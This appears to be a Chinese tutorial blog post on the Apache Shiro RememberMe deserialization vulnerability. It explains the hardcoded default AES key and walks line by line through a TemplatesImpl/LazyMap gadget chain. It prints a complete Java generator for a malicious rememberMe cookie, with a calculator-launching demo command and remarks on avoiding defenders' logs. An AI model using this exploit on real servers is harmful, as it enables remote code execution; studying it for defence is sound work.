简介
shiro不同于Tomcat,SpringBoot这类web框架,shiro是一个安全框架,其实shiro反序列化在我们学习了cc1和cc6之后是很简单的,它的漏洞成因和它的安全机制有关
漏洞原理
这里先来讲解一下shiro的安全机制,它一共有四个功能:
1.认证
2.授权
3.会话管理
4.加密
上述的这几个机制当中,出现问题的就是会话管理这个环节了,为了保存用户的登录信息,shiro加入了RemeberMe功能,这个功能是存在于cookie当中的,而该功能生成cookie的流程也很简单:
首先会将用户信息进行序列化然后进行AES加密,最后进行base64编码
那么反过来服务器端解析就是先base64解码然后再AES解密最后再反序列化,但是shiro官方在1.2.4版本之前内置了一个默认且固定的AES加密Key,其值为:
kPH+bIxk5D2deZiIxcaaaA==
那么这里就出现了我们的漏洞点了,既然我们知道了加密的密钥,那我们完全可以把恶意代码写了之后根据密钥加密塞进cookie里面进行请求,那这样就实现了我们的攻击
CCK1链
payload
这里其实我们尝试一下就会发现cc6是打不了的,因为shiro在处理非java原生的数据时是不支持数组的,而我们的cc6很明显是借用了Transform数组的,这个数组并不是java原生的,所以我们这里cc6是打不了的
这里我们借用了TemplatesImpl类来进行操作,我们上面说到,在shiro的安全机制当中,我们要么去找一个单体类执行,要么去找一个用java原生数组就可以执行的数组来操作,而这个类只需要用到java原生的byte[]数组就可以执行
TemplatesImpl
我们在这里主要就是借助这个类进行命令执行,这里先直接给出该类当中的利用链:
newTransformer()->getTransletInstance()->defineTransletClasses()
然后直接结合payload当中的部分来说:
1 2 3 4 5
| byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); setFieldValue(tmpl, "_bytecodes", new byte[][] {code}); setFieldValue(tmpl, "_name", "HelloTemplatesImpl"); setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
|
在以后借用该类进行命令执行执行时就按照这五行来就行了,首先我们来看第一行:
1
| byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
|
这里给出newTransformer的源码
1 2 3 4 5 6 7 8 9
| public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, this._tfactory); return transformer; }
|
这一行代码是把我们事先写好的RCETest类的内容揉碎成二进制内容然后装进名为code的数组当中去,其中ClassPool.getDefault()是为了调用javassist这个这个第三方工具库的“核心仓库”。Javassist 是一个专门用来在内存里操作 Java 字节码的工具包。ClassPool 就像是一个巨大的档案馆,里面存放着当前你的程序里所有已经被加载的 Java 类。调用 getDefault() 就是打开这个档案馆的大门。
RCETest.class.getName()就是去获取我们写好的RCETest这个类的全限定类名,.get(“com.hack.RCETest”)就是让javassist去把这个类的数据拿出来,toBytecode()就是转换为二进制数据
继续看第二行:
1
| TemplatesImpl tmpl = new TemplatesImpl();
|
这个就是实例化一个TemplatesImpl类
接下来这三行就放在一起讲了:
1 2 3
| setFieldValue(tmpl, "_bytecodes", new byte[][] {code}); setFieldValue(tmpl, "_name", "HelloTemplatesImpl"); setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
|
这三行当中,第一行是为了把我们的类图纸塞给java,而剩余两行都是为了绕过源码当中的if语句
1
| setFieldValue(tmpl, "_bytecodes", new byte[][] {code});
|
这一句就是把我们先一步造好的code数组塞进bytecodes这个变量里,这里主要是有两个考量
第一,在源码当中会有这么一句话:
1 2 3 4 5 6 7 8 9
| // JDK 源码:TemplatesImpl.java private void defineTransletClasses() { // 第一道拦截:如果没有查到字节码 if (this._bytecodes == null) { // 直接抛出红色的严重错误,程序彻底死掉! throw new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); } // ... 下面才开始把 _bytecodes 还原成类 }
|
也就是说我们为了顺利通过链子,那我们这里的_bytecodes是不能为null的,并且后面会通过bytecodes的数据讲二进制数据还原为我们的类,那么出于这两重考虑,我们就理所当然地需要把我们构造好的code传进去了
1
| setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
|
这句就是纯粹为了绕过if了,来看源码:
1 2 3 4 5 6 7 8
| private Translet getTransletInstance() { if (this._name == null) { return null; } }
|
也就是说__name不能是null,我们这里随便塞一个就行了
接下来继续往下看
1
| setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
|
这里其实也是为了填坑防报错,保证攻击的隐蔽性。
在 TemplatesImpl 的底层源码跑到最后一步(准备收尾返回对象)时,会去调用 _tfactory 里的方法。如果我们不提前给它塞个值,它默认就是 null。
Java 程序一旦碰到 null 还会硬调它的方法,当场就会引发空指针异常(NullPointerException)。这会导致两个致命后果:
- 链子断裂:程序直接崩溃,反序列化流程无法平稳走完,容易产生不可控的意外。
- 打草惊蛇:目标服务器的后台会瞬间弹出一大片报错堆栈日志。防守方(蓝队)只要一查日志,立刻就能发现有人在搞反序列化攻击。
所以,我们随便塞一个没有任何毒性的官方正常对象(TransformerFactoryImpl)进去“凑数”。这就好比给安检程序塞个占位符,纯粹是为了堵住底层源码的嘴,让程序安安静静、平平稳稳地跑完全程,不留下任何显眼的报错痕迹。
这里顺便直接把getTransletInstance的源码给出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private Translet getTransletInstance() throws TransformerConfigurationException { if (this._name == null) { return null; }
if (this._class == null) { this.defineTransletClasses(); }
AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance(); return translet; }
|
进入 defineTransletClasses() 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void defineTransletClasses() throws TransformerConfigurationException { if (this._bytecodes == null) { throw new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); }
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(...); for (int i = 0; i < classCount; i++) { this._class[i] = loader.defineClass(this._bytecodes[i]); Class superClass = this._class[i].getSuperclass(); if (superClass.getName().equals("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")) { this._transletIndex = i; } } }
|
核爆发生(回到 getTransletInstance)
defineTransletClasses() 执行完毕,字节码已经成功变成了 _class 里的图纸。程序流回退到getTransletInstance类的最后两行代码:
1 2
| // 此时 _class 已经是有内容的了,它就是你写的 RCETest 类! AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance();
|
那么这样就实现了将我们事先写好的RCETest类还原并且得到了一个实例的操作了
这里也把RCETest的源码给出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class RCETest extends AbstractTranslet {
static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
payload解析
这里给出一个简要的paylaod:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); setFieldValue(tmpl, "_bytecodes", new byte[][] {code}); setFieldValue(tmpl, "_name", "HelloTemplatesImpl"); setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); innerMap.put("value", "Yu9991n9"); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl);
Map evilMap = new HashMap(); evilMap.put(tme,"Yu9991n9");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
|
前五行就是上面一直在说的,然后接下来下面的部分其实就是在cc6的基础上做了一些细微的改动
1
| Transformer transformer = new InvokerTransformer("getClass", null, null);
|
这句其实就和我们在学cc6时造的那个假数组是一样的 我们后面肯定是要用反射去给它改了的,然后outerMap.clear();和cc6的lazyMap.remove(“Yu9991n9”);目的是一样的,只不过remove是精准删除,而clear是全删
1
| setFieldValue(transformer, "iMethodName", "newTransformer");
|
这个就是拿反射把真的换上去
那么到这里为止我们就来从头到尾来总结一下这条链子,也就是CCK1
其实前面的步骤大致和cc6是很像的,区别在于这里我们没有用到Transform数组,而是先假做了一个InvokeTransform类,然后剩余的其实就是cc6。
HashMap的readObject方法调用TiedMapEntry的hash,hash调用hashCode,hashCode调用getValue,getValue调用map.get,这里的map我们通过构造方法把它设置成LazyMap,然后我们在传key时要传一个TemplatesImpl的实例,因为这个key会一直传递到Transform方法里面当参数,如果你当时随便瞎传了一个字符串(比如 "Yu9991n9"),那么 InvokerTransformer 拿到后,就会去执行 "Yu9991n9".newTransformer()。这样就会调用factory的Transform方法
然后我们通过反射把之前那个假的改为newTransfomer方法,而newTransformer方法会调用getTransletInstance方法,然后继续往下调用defineTransletClasses()方法,返回给newTransformer方法,通过该方法的最后两行,还原出一个提前写好的RCETest实例,而我们的RCETest是提前写好的,其static板块是会在实例化时自动执行,该板块内写好了我们的命令执行代码,从而实现命令执行。
下面是完整的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| package com.Yu9991n9;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class CommonsCollectionsShiro {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][] {code});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
innerMap.put("value", "Yu9991n9");
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl);
Map evilMap = new HashMap();
evilMap.put(tme,"Yu9991n9");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
byte[] payload = serialize(evilMap);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
System.out.printf("rememberMe=" + ciphertext.toString());
}
public static byte[] serialize(Map map) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
return barr.toByteArray();
}
}
|
其中setFieldValue方法是我们自己写的,然后我们可以看见完整的payload除了在我们本来的基础上还加上了后面的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| byte[] payload = serialize(evilMap);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
System.out.printf("rememberMe=" + ciphertext.toString());
}
public static byte[] serialize(Map map) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
return barr.toByteArray();
}
|
先来看main函数外的serialize类的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static byte[] serialize(Map map) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
return barr.toByteArray();
}
|
先来看这一句
1
| ByteArrayOutputStream barr = new ByteArrayOutputStream();
|
这个其实和我们在原生反序列化当中用的FileOutputStream效果是一样的,但是FileOutputStream是走本地硬盘的,而我们这里是想给服务器发数据,那我们就想办法走一个不走本地硬盘的类,而是找一个走内存的类,那这里我们选的就是ByteArraryOutputStream
然后 ObjectOutputStream oos = new ObjectOutputStream(barr);这句就和原生的反序列化操作是一样的,下面几行都是,只是最后一句:return barr.toByteArray();它就会立刻把自己肚子里接住的所有东西,打包成一个干净利落、尺寸刚刚好的 byte[](字节数组)吐给你。
再来看到main函数当中的这一部分:
1 2 3 4 5 6 7 8 9 10 11
| byte[] payload = serialize(evilMap);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
System.out.printf("rememberMe=" + ciphertext.toString());
}
|
这里首先就是执行了序列化,把序列化后的数据赋值给了一个Byte数组,变量名为payload。
AesCipherService aes = new AesCipherService();这一句是引用shiro源码框架当中的类,相当于我们这里引入了一个shiro官方的加密器
1
| byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
|
这一句是将key还原
1
| ByteSource ciphertext = aes.encrypt(payload, key);
|
底层原理解析: 把原始炸弹(payload)和万能钥匙(key)丢进加密器。
这里的极度核心细节:Shiro 使用的加密模式是 AES-CBC。密码学中,CBC 模式为了防止同样的明文每次加密出同样的密文,必须在开头加上一段 16 字节的随机数,叫做 IV(初始化向量)。
当你调用 aes.encrypt() 时,这个方法内部全自动帮你做好了三件事:
- 随机生成了一段 16 字节的 IV。
- 用
key 和 IV 将你的 payload 加密。
- 把这段 IV,直接拼接在加密后的密文最前面! (这非常重要,因为受害者服务器收到数据时,也会先切下前 16 个字节作为 IV 去解密后半部分)。
最终返回的 ciphertext,就是一个包含 [16字节随机IV + AES密文] 的完整数据包。
System.out.printf(“rememberMe=” + ciphertext.toString());这一句就是把我们构造好的数据打印出来,我们直接拿着打印得到的数据去发包时替换掉RememberMe字段里面的内容就可以了